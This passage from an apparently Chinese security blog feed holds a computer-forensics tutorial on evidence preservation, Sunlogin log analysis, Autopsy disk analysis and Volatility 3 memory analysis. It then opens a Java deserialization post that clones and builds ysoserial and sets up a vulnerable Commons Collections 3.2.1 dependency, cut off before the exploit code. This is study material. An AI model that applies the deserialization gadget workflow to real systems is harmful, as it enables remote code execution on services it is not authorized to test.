srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230516203038324"></p><h4 id="通联工具现场紧急固定"><a href="#通联工具现场紧急固定" class="headerlink" title="通联工具现场紧急固定"></a>通联工具现场紧急固定</h4><p>qq,微信,境外软件等查看里里面有没有跟上下级进行联系或者有没有重要数据,浏览完后进行固定。</p><p>可以使用软件自带的记录备份与恢复功能,然后需要进行录屏或者截图备份。</p><h4 id="远程运维管理工具勘查"><a href="#远程运维管理工具勘查" class="headerlink" title="远程运维管理工具勘查"></a>远程运维管理工具勘查</h4><p><strong>向日葵</strong></p><p>手机号登录的可以在软件中点击升级跳到浏览器界面后可以查看完整的手机号。</p><p>微信登录的需要在向日葵的日志文件中搜索<code>account0</code>就可以看到登录微信号所绑定的手机号。</p><p><img src="https://s2.loli.net/2023/05/19/wehXZEao7TA2CLM.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/wehXZEao7TA2CLM.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230516203507908"></p><p><img src="https://s2.loli.net/2023/05/19/ScblIr6f4R8jJXV.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/ScblIr6f4R8jJXV.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230516203554913"></p><h4 id="远程运维管理工具日志勘查"><a href="#远程运维管理工具日志勘查" class="headerlink" title="远程运维管理工具日志勘查"></a>远程运维管理工具日志勘查</h4><p><strong>向日葵</strong></p><p>一般对于文件名有<code>shell</code>和<code>service</code>这两类文件进行重点排查,里面一般有被控制或者控制端的ip地址(sunlogin_service.时间-数字.log)。</p><p>搜索关键字</p><ul><li>P2Phelper: 被控制端IP地址;</li><li>P2PStream: 控制端IP地址(公网IP);</li><li>P2Phelper和P2PStream只对主控机有效;</li><li>P2PAccepter和service只对被控机有效;</li><li>udpwrapper和udp对双端都有效;</li></ul><h4 id="虚拟币钱包识别及固定"><a href="#虚拟币钱包识别及固定" class="headerlink" title="虚拟币钱包识别及固定"></a>虚拟币钱包识别及固定</h4><p>注意电脑中涉及的虚拟币交易程序和地址,交易程序目前以手机居多,计算机多以web方式,这块要注意查看浏览器浏览记录,同时要注意虚拟币地址,如:1QasfaWSXA5SdlS7SDSFhjxcewCFHN5Uz3。</p><p>助记词:用来进行虚拟钱包如果密码忘记时一个密码登录的方式,一般是英文单词有12个,如果嫌疑人持有的设备上有见到类似与12个英文单词时注意下可能是虚拟钱包的助记词。</p><h4 id="计算机快速访问记录"><a href="#计算机快速访问记录" class="headerlink" title="计算机快速访问记录"></a>计算机快速访问记录</h4><p>快速访问中的数据(常用文件/夹),文档中的最近打开记录,百度网盘应用程序,浏览器最近访问的历史记录等。</p><p>固定关键涉案证据时,建议记录操作,将涉案文档进行压缩操作并且进行hash校验操作,并记录在勘查笔录中。</p><h4 id="计算机中的其他数据(手机外围)"><a href="#计算机中的其他数据(手机外围)" class="headerlink" title="计算机中的其他数据(手机外围)"></a>计算机中的其他数据(手机外围)</h4><p>手机备份电脑上也可能存在。</p><p><strong>iOS设备的iTunes备份</strong></p><p><code>C:\Users\XXX\AppData\Roaming\Apple Computer\MobileSync\Backup\</code></p><p><strong>iOS设备的lockdown文件</strong></p><p><code>C:\ProgramData\Apple\Lockdown\</code></p><p><strong>华为助手备份文件</strong></p><p><code>C:\Users\Administrator\Documents\HiSuite\backup</code></p><p><strong>各类安卓手机备份文件</strong></p><p><strong>安卓模拟器</strong></p><h4 id="注意"><a href="#注意" class="headerlink" title="注意"></a>注意</h4><ol><li>对所有的操作进行记录和校验。</li><li>录像和截图不要存储在涉案计算机上。</li></ol><h3 id="磁盘映像取证"><a href="#磁盘映像取证" class="headerlink" title="磁盘映像取证"></a>磁盘映像取证</h3><p>Autopsy是一款功能强大且易于使用的数字取证工具,它具有用户友好的界面和强大的功能,提供在磁盘映像中进行字符串提取,恢复文件,时间轴分析,chrome,firefox等浏览历史分析,关键字搜索和邮件分析等功能。 ,可以帮助取证人员快速而准确地分析和提取证据。</p><p>下面进行一次实验,演示基础使用。</p><h4 id="配置Autopsy"><a href="#配置Autopsy" class="headerlink" title="配置Autopsy"></a>配置Autopsy</h4><p>选择Nev Case,开启一个新的环境。</p><p><img src="https://s2.loli.net/2023/05/19/welbgSpAN3K52Vt.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/welbgSpAN3K52Vt.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230518203027831"></p><p>要求为新案例命名以及要放置案例的目录。</p><p><img src="https://s2.loli.net/2023/05/19/XBjbVFLOwlW7ePs.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/XBjbVFLOwlW7ePs.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230518204256666"></p><p>填入一些信息,比如相应的编号,名称,手机号,描述等,然后点击Finish。</p><p><img src="https://s2.loli.net/2023/05/19/VfcJynmdbaTHw6A.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/VfcJynmdbaTHw6A.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230518204554623"></p><p><img src="https://s2.loli.net/2023/05/19/eDFfT1MyosglzPN.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/eDFfT1MyosglzPN.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230518204809749"></p><p><img src="https://s2.loli.net/2023/05/19/cqHVRMN89zoFjQm.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/cqHVRMN89zoFjQm.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230519101033981"></p><p><img src="https://s2.loli.net/2023/05/19/LcUDnExs1u4HRNZ.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/LcUDnExs1u4HRNZ.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230519101142497"></p><p>等待索引完成此映像像以进行分析。</p><h4 id="关键字搜索"><a href="#关键字搜索" class="headerlink" title="关键字搜索"></a>关键字搜索</h4><p>可以在右上角的搜索窗口输入关键词进行查询,这时候Autopsy 将开始在每个文件中搜索该关键字。在实际调查中,这个关键词是特定于调查的。</p><p><img src="https://s2.loli.net/2023/05/19/tzuqebiOlrQD5p4.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/tzuqebiOlrQD5p4.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230519102305986"></p><p><img src="https://s2.loli.net/2023/05/19/1Irty8UYDicuGBg.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/1Irty8UYDicuGBg.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230519102822196"></p><h4 id="专门的搜索类型"><a href="#专门的搜索类型" class="headerlink" title="专门的搜索类型"></a>专门的搜索类型</h4><p>点击屏幕右上角附近的“眼睛”图标,它会打开一个下拉窗口。在这里我们可以进行非常专业的类型搜索,这可能是我们调查的关键。</p><p>电话号码,IP地址,电子邮件地址,URL,信用卡号码</p><p><img src="https://s2.loli.net/2023/05/19/J15L96BfaueIUSz.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/J15L96BfaueIUSz.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230519111131340"></p><p>例如想要在这些文件中找到一些网站,也许能帮助我们确定在系统被查封之前嫌疑人在做什么。</p><p>在下拉窗口中单击url旁边的复选框。它将填充用于查找URL的正则表达式。</p><p><img src="https://s2.loli.net/2023/05/19/KGZNnVmegMOH6qU.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/KGZNnVmegMOH6qU.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230519111648155"></p><p>点击“搜索”按钮后,Autopsy将会开始在每个文件中寻找所指定的文本模式。</p><p><img src="https://s2.loli.net/2023/05/19/2lcPG5uShxVQDEL.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/2lcPG5uShxVQDEL.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230519112220457"></p><p>除此之外,我们还可以创建自定义的正则表达式,以搜索任何我们想寻找的文本模式。这一功能可以帮助我们更有效地搜索目标,提高数字取证的效率。</p><h4 id="恢复已”删除”的文件"><a href="#恢复已”删除”的文件" class="headerlink" title="恢复已”删除”的文件"></a>恢复已”删除”的文件</h4><p>在数字取证研究人员的基本技能中,恢复被删除的文件或许是其中最基本的。正如你所了解的,大多数情况下,系统只是删除了文件的位置信息或将其标记为已删除,而实际上这些“已删除”的文件仍然保留在存储介质中,直到被覆盖为止。这意味着,如果嫌疑人删除了证据文件,只要我们在文件系统覆盖之前采取行动,我们仍然可以将这些文件恢复出来。</p><p>在对象资源管理器中,可以看到一个名为“已删除文件”的文件类型。它会显示所有被删除的文件。</p><p><img src="https://s2.loli.net/2023/05/19/CmWPQr3cepoRxbk.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/CmWPQr3cepoRxbk.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230519113116084"></p><p>当点击一个已删除的文件时,可以在右下角的窗口中进行一些分析。在那里,会看到标签名为 Hex、字符串、文件元数据、结果和索引文本的选项。单击“文件元数据”选项卡,它将显示文件的元数据,包括名称、类型、大小、修改、访问和创建等信息。</p><p><img src="https://s2.loli.net/2023/05/19/QrCeuW1NBid3Uz6.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/QrCeuW1NBid3Uz6.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230519113427241"></p><p>要恢复已删除的文件,右键单击已删除的文件并选择“extract file”提取出该文件。</p><p><img src="https://s2.loli.net/2023/05/19/z8oZIlBiLH6kTX5.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/z8oZIlBiLH6kTX5.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230519113537756"></p><p><img src="https://s2.loli.net/2023/05/19/chnkLCza5I8W3uq.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/chnkLCza5I8W3uq.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230519113616765"></p><p>嫌疑犯经常试图通过删除关键证据文件来掩盖他们的踪迹。作为一名取证研究员,我们知道在这些文件被文件系统覆盖之前它们是可以恢复的。使用像Autopsy和几乎所有其他取证套件(case, ProDiscover, FTK, Oxygen等)这样的工具,恢复这些被删除的文件非常简单。</p><h3 id="内存映像取证"><a href="#内存映像取证" class="headerlink" title="内存映像取证"></a>内存映像取证</h3><p>内存取证是对传统基于磁盘取证的重要补充同时也是计算机取证调查中的重要手段之一,它可以帮助我们获取易失性内存中的有价值数据,如临时缓存(文字,图片,聊天记录,电子邮件)、解密密钥(如Bitlocker,TrueCrypt,PGP等全盘加密的解密密钥)等,并深入了解受损系统的状态,以及对手可能如何攻击系统。</p><p>需要注意的是,内存是易失性的,一旦电脑关闭,RAM 中的信息都可能丢失,因此必须在关闭系统之前捕获。同时,当涉及恶意软件攻击时,易失性内存有时是调查此类攻击的唯一来源,因为大多数恶意软件只是驻留在内存中的。这意味着对非易失性证据的分析根本不会为我们提供关于恶意软件存在的令人信服的线索。因此,内存取证在计算机取证调查中具有不可替代的重要性。</p><h4 id="内存镜像获取"><a href="#内存镜像获取" class="headerlink" title="内存镜像获取"></a>内存镜像获取</h4><h5 id="Windows系统镜像获取"><a href="#Windows系统镜像获取" class="headerlink" title="Windows系统镜像获取"></a>Windows系统镜像获取</h5><h6 id="基于用户登录状态下的内存获取方法"><a href="#基于用户登录状态下的内存获取方法" class="headerlink" title="基于用户登录状态下的内存获取方法"></a>基于用户登录状态下的内存获取方法</h6><p>在Windows系统处于开机,并且用户已经登录的状态时,可以通过制作内存镜像的软件来获取内存镜像,即使不是管理员用户权限,也可以对内存中的镜像进行获取。比较常用的工具有AccessData FTK lmager、Dumplt和Magnet RAM Capture等。</p><p>下面使用AccessData FTK lmager获取镜像。</p><p>单击“File”下拉菜单并点击“Capture Memory…”获取内存选项。</p><p><img src="https://s2.loli.net/2023/05/19/mdHWzMV9YDj8AuZ.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/mdHWzMV9YDj8AuZ.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517160853645"></p><p>创建一个名为“memory”的目录,命名为 <code>memdump.mem</code> 文件,包含页面文件,但没有创建 <code>AD1</code> 文件。</p><p>当完成了这些,点击“Capture Memory”按钮。</p><p><img src="https://s2.loli.net/2023/05/19/iyMFGlwY21AJ5Er.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/iyMFGlwY21AJ5Er.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517161624198"></p><p><img src="https://s2.loli.net/2023/05/19/d4SKTpeP1r5J6RV.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/d4SKTpeP1r5J6RV.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517161639528"></p><p><img src="https://s2.loli.net/2023/05/19/iPOaz2CFR7oThKm.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/iPOaz2CFR7oThKm.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517162908708"></p><h6 id="基于系统休眠文件的获取方法"><a href="#基于系统休眠文件的获取方法" class="headerlink" title="基于系统休眠文件的获取方法"></a>基于系统休眠文件的获取方法</h6><p>当Windows系统进入休眠模式,Windows系统会自动将内存中的全部数据转存至硬盘的一个休眠文件中。(Hiberfil.sys),该文件默认生成在系统盘的根目录,当数据转存完毕后,停止对硬件供电。</p><p>当恢复到正常状态后,系统会从硬盘中将之前存入的休眠文件中的信息读入内存中。当系统进入休眠模式时很省电,但是进入休眠模式的前提是需要电脑的硬盘剩余的容量大于计算机的内存大小即可实现。而获得了休眠文件,即相当于获得了系统休眠前时刻的内存文件。</p><h5 id="Linux和Mac-OS系统镜像获取"><a href="#Linux和Mac-OS系统镜像获取" class="headerlink" title="Linux和Mac OS系统镜像获取"></a>Linux和Mac OS系统镜像获取</h5><p>在Linux和Mac OS系统中,获取内存镜像可以通过以下方式获取。</p><p>LiME(Linux Memory Extractor)工具可以获取Linux系统内存镜像;</p><p>Mac Memory Reader工具可以获取Mac OS系统内存镜像。Hibernation File工具;</p><p>也可以通过提取休眠文件来获取内存镜像,休眠文件包含了系统的内存镜像。</p><p>在Linux系统中,休眠文件通常位于“/var/lib/systemd/hibernate/”和“/var/lib/systemd/sleep/”目录下;</p><p>在Mac OS系统中,休眠文件通常位于“/private/var/vm/”目录下,通常以<code>sleepimage</code>开头;</p><p>还有一种方法是通过<code>/dev/mem</code>获取。</p><p><code>/dev/mem</code>是操作系统提供的一个对物理内存的映射。“/dev/mem”是linux系统的一个虚拟字符设备,无论是标准linux系统还是嵌入式linux系统,都支持该设备。首先使用open函数打开<code>/dev/mem</code>设备,然后使用mmap映射到用户空间实现应用程序对内存信息的读取。</p><h4 id="Volatility内存分析工具"><a href="#Volatility内存分析工具" class="headerlink" title="Volatility内存分析工具"></a>Volatility内存分析工具</h4><p>在内存分析中,使用最广泛的工具是名为<strong>Volatility</strong>的开源工具。可以从<strong><a href="http://www.volatilityfoundation.org/">www.volatilityfoundation.org</a></strong>下载Volatility。它有Window、Linux 和 Mac OS X的版本。</p><p>下面我将展示Volatility 3版本基础使用,2版本请看我之前写的文章,个人感觉可以2和3版本一起用,在一些情况下vol 2比较方便。</p><p>命令格式:volatility -f [image] [plugin]</p><p>相较于volatility 2版本使用方法是差不多的,但volatility 3版本不需要指定profile,只是插件调用方式改变,插件对应了操作系统。</p><p><code>python3 vol.py -h</code> 查看帮助,这将显示出命令选项列表和插件。</p><p><img src="https://s2.loli.net/2023/05/19/uEdqJB8gMsTLw4b.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/uEdqJB8gMsTLw4b.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230518091758621"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line">常用插件:</span><br><span class="line"> layerwriter:列出内存镜像platform信息</span><br><span class="line"> linux.bash:从内存中恢复bash命令历史记录</span><br><span class="line"> linux.check_afinfo:验证网络协议的操作功能指针</span><br><span class="line"> linux.check_syscall:检查系统调用表中的挂钩</span><br><span class="line"> linux.elfs:列出所有进程的所有内存映射ELF文件</span><br><span class="line"> linux.lsmod:列出加载的内核模块</span><br><span class="line"> linux.lsof:列出所有进程的所有内存映射</span><br><span class="line"> linux.malfind:列出可能包含注入代码的进程内存范围</span><br><span class="line"> linux.proc:列出所有进程的所有内存映射</span><br><span class="line"> linux.pslist:列出linux内存映像中存在的进程</span><br><span class="line"> linux.pstree:列出进程树</span><br><span class="line"> mac.bash:从内存中恢复bash命令历史记录</span><br><span class="line"> mac.check_syscall:检查系统调用表中的挂钩</span><br><span class="line"> mac.check_sysctl:检查sysctl处理程序的挂钩</span><br><span class="line"> mac.check_trap_table:检查trap表中的挂钩</span><br><span class="line"> mac.ifconfig:列出网卡信息</span><br><span class="line"> mac.lsmod:列出加载的内核模块</span><br><span class="line"> mac.lsof:列出所有进程的所有内存映射</span><br><span class="line"> mac.malfind:列出可能包含注入代码的进程内存范围</span><br><span class="line"> mac.netstat:列出所有进程的所有网络连接</span><br><span class="line"> mac.psaux:恢复程序命令行参数</span><br><span class="line"> mac.pslist:列出linux内存映像中存在的进程</span><br><span class="line"> mac.pstree:列出进程树</span><br><span class="line"> mac.tasks:列出Mac内存映像中存在的进程</span><br><span class="line"> windows.info:显示正在分析的内存样本的OS和内核详细信息</span><br><span class="line"> windows.callbacks:列出内核回调和通知例程</span><br><span class="line"> windows.cmdline:列出进程命令行参数</span><br><span class="line"> windows.dlldump:将进程内存范围DLL转储</span><br><span class="line"> windows.dlllist:列出Windows内存映像中已加载的dll模块</span><br><span class="line"> windows.driverirp:在Windows内存映像中列出驱动程序的IRP</span><br><span class="line"> windows.driverscan:扫描Windows内存映像中存在的驱动程序</span><br><span class="line"> windows.filescan:扫描Windows内存映像中存在的文件对象</span><br><span class="line"> windows.handles:列出进程打开的句柄</span><br><span class="line"> windows.malfind:列出可能包含注入代码的进程内存范围</span><br><span class="line"> windows.moddump:转储内核模块</span><br><span class="line"> windows.modscan:扫描Windows内存映像中存在的模块</span><br><span class="line"> windows.mutantscan:扫描Windows内存映像中存在的互斥锁</span><br><span class="line"> windows.pslist:列出Windows内存映像中存在的进程</span><br><span class="line"> windows.psscan:扫描Windows内存映像中存在的进程</span><br><span class="line"> windows.pstree:列出进程树</span><br><span class="line"> windows.procdump:转储处理可执行映像</span><br><span class="line"> windows.registry.certificates:列出注册表中存储的证书</span><br><span class="line"> windows.registry.hivelist:列出内存映像中存在的注册表配置单元</span><br><span class="line"> windows.registry.hivescan:扫描Windows内存映像中存在的注册表配置单元</span><br><span class="line"> windows.registry.printkey:在配置单元或特定键值下列出注册表项</span><br><span class="line"> windows.registry.userassist:打印用户助手注册表项和信息</span><br><span class="line"> windows.ssdt:列出系统调用表</span><br><span class="line"> windows.strings:读取字符串命令的输出,并指示每个字符串属于哪个进程</span><br><span class="line"> windows.svcscan:扫描Windows服务</span><br><span class="line"> windows.symlinkscan:扫描Windows内存映像中存在的链接</span><br></pre></td></tr></table></figure><h5 id="实操"><a href="#实操" class="headerlink" title="实操"></a>实操</h5><h6 id="系统基本信息"><a href="#系统基本信息" class="headerlink" title="系统基本信息"></a>系统基本信息</h6><p><code>python3 vol.py -f memdump.mem windows.info</code></p><p><img src="https://s2.loli.net/2023/05/19/qzWS4ivjVOsuh3d.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/qzWS4ivjVOsuh3d.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230518101601988"></p><p>通过SystemTime可以看到镜像制作的时间。</p><h6 id="获取进程列表"><a href="#获取进程列表" class="headerlink" title="获取进程列表"></a>获取进程列表</h6><p><code>python3 vol.py -f memdump.mem windows.pstree.PsTree</code></p><p><img src="https://s2.loli.net/2023/05/19/HWd8xjMlBUyKv4i.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/HWd8xjMlBUyKv4i.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230518103506982"></p><p>使用windows.pstree.PsTree可以查看所有进程和依赖关系,通过寻找PPID大于PID的进程和查看进程依赖寻找可疑的进程。</p><h6 id="获取正在运行的DLL"><a href="#获取正在运行的DLL" class="headerlink" title="获取正在运行的DLL"></a>获取正在运行的DLL</h6><p><code>python3 vol.py -f memdump.mem windows.dlllist.DllList</code></p><p><img src="https://s2.loli.net/2023/05/19/u7A8RqQELMB2PJO.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/u7A8RqQELMB2PJO.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230519151743615"></p><p>Volatility 解析出所有正在运行的 DLL 的列表。</p><h6 id="获取事件的时间轴"><a href="#获取事件的时间轴" class="headerlink" title="获取事件的时间轴"></a>获取事件的时间轴</h6><p><code>python3 vol.py -f memdump.mem timeliner.Timeliner </code></p><p><img src="https://s2.loli.net/2023/05/19/OxyUF1azrHkqp9f.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/OxyUF1azrHkqp9f.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230518192350282"></p><p>一般来说,为了证明嫌疑人是否真正实施了他们被指控的行为,我们可能需要知道该系统上已发生事件的时间表。</p><p>可以使用下面的时间轴插件从内存镜像中检索出时间线信息。</p><h6 id="寻找恶意软件"><a href="#寻找恶意软件" class="headerlink" title="寻找恶意软件"></a>寻找恶意软件</h6><p><code>python3 vol.py -f memdump.mem windows.malfind.Malfind</code></p><p><img src="https://s2.loli.net/2023/05/19/DLkio6ZBVWeMfJc.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/DLkio6ZBVWeMfJc.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230518195457266"></p><p>主要用处是列出可能包含注入代码的进程内存范围,更好得让我们寻找在可疑系统内存中运行的任何恶意软件。</p><h1 id="结尾"><a href="#结尾" class="headerlink" title="结尾"></a>结尾</h1><p>本博客的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。</p><p>这是计算机篇,至于还有没有下一篇就不确定了x)。</p><p>参考:</p><p><a href="https://mp.weixin.qq.com/s/yt2xYRu6ZqYTGVekxPdnYA">https://mp.weixin.qq.com/s/yt2xYRu6ZqYTGVekxPdnYA</a></p><p><a href="https://blue.y1ng.org/">https://blue.y1ng.org/</a></p><p><a href="https://www.cnblogs.com/zlgxzswjy/p/5211613.html">https://www.cnblogs.com/zlgxzswjy/p/5211613.html</a></p>]]></content>
<categories>
<category> 取证 </category>
</categories>
<tags>
<tag> 计算机取证 </tag>
</tags>
</entry>
<entry>
<title>java安全 反序列化(二)</title>
<link href="/2023/04/05/java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/"/>
<url>/2023/04/05/java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/</url>
<content type="html"><![CDATA[<p>[200~# java安全 反序列化(二)</p><p>寻找反序列化链(Gadget)</p><ol><li><p>在项目里找漏洞</p><p>readObject里的漏洞一般比较少</p></li><li><p>寻找项目的依赖库类中的Gadget</p><p>一些依赖也会有反序列化的操作,如果jar包中的某些类在进行反序列化时有可控的点,就可以利用jar包中存在的漏洞来构造调用链</p></li></ol><h2 id="ysoserial工具"><a href="#ysoserial工具" class="headerlink" title="ysoserial工具"></a>ysoserial工具</h2><p>ysoserial工具可以帮助我们在依赖库里面找到利用链。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/frohoff/ysoserial.git</span><br></pre></td></tr></table></figure><p>进入ysoserial目录,编译jar包</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mvn clean package -DskipTests</span><br></pre></td></tr></table></figure><p><img src="https://s2.loli.net/2023/04/05/eiY9CRskoTzKyFx.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/05/eiY9CRskoTzKyFx.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221128161645257"></p><p>出现BUILD SUCCESS表示编译成功,在target文件夹下</p><p>注意:要使用java 1.7+ 的jdk环境</p><h2 id="最经典的反序列化利用链"><a href="#最经典的反序列化利用链" class="headerlink" title="最经典的反序列化利用链"></a>最经典的反序列化利用链</h2><p>Apache Commons Collections.jar中的一条pop链,这个类库使用广泛,所以很多大型的应用也存在着这个漏洞。</p><p>Commons Collections 在3.x < 3.2.2 以及4.0这些版本范围里,存在反序列化漏洞</p><p>当目标Java应用依赖库里包含存在漏洞的Commons Collections库,且对由攻击者可控的数据进行反序列化时,即会造成任意代码执行。</p><p>我们以ysoserial里CommonsCollections6这个payload为例,进行分析。</p><p>先使用ysoserial生成反序列化的payload</p><p><img src="https://s2.loli.net/2023/04/05/fMuyQ1mbe2KaB4w.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/05/fMuyQ1mbe2KaB4w.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221128161942308"></p><p>使用maven导入commons-collections依赖</p><p>pom.xml</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>commons-collections<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>commons-collections<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>3.2.1<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br></pre></td></tr></table></figure><p>在创建测试代码</p><p>TestCC6</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span 